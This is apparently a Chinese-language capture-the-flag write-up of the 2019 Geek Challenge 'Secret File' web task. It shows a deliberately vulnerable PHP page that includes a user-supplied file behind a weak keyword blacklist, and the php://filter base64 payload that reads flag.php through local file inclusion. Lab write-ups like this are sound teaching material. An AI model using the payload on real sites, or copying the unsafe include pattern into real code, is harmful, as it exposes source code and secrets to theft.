2019-极客大挑战-Web-Secret File

复现环境

https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Secret%20File

考察知识点

  • 代码审计
  • 文件包含

解题分析

访问题目链接是个无交互页面,查看源码发现./Archive_room.php 访问该文件。

Archive_room.php

绝密档案,点击SECRET直接跳转到end.php,刚开始一头雾水,后来意识到问题可能出在重定向哪里。

绝密档案

看到了隐藏文件secr3t.php

secr3t.php

secr3t.php的内容是一段代码审计,读取file参数,显示读取路径的文件,此处用了include函数是一个文件包含。

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里 ?>
</html>

直接包含flag.php ,无法显示,大概作者把flag设置成变量了。

secr3t.php?file=flag.php

直接包含flag.php

要想办法读取源码,那文件包含读取源码的方式可以通过php://filter/read=convert.base64-encode/resource= 利用LFI来查看源码

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

LFI

把读取出来的代码,放到在线平台解密

https://base64.us/

base64

推荐阅读更多精彩内容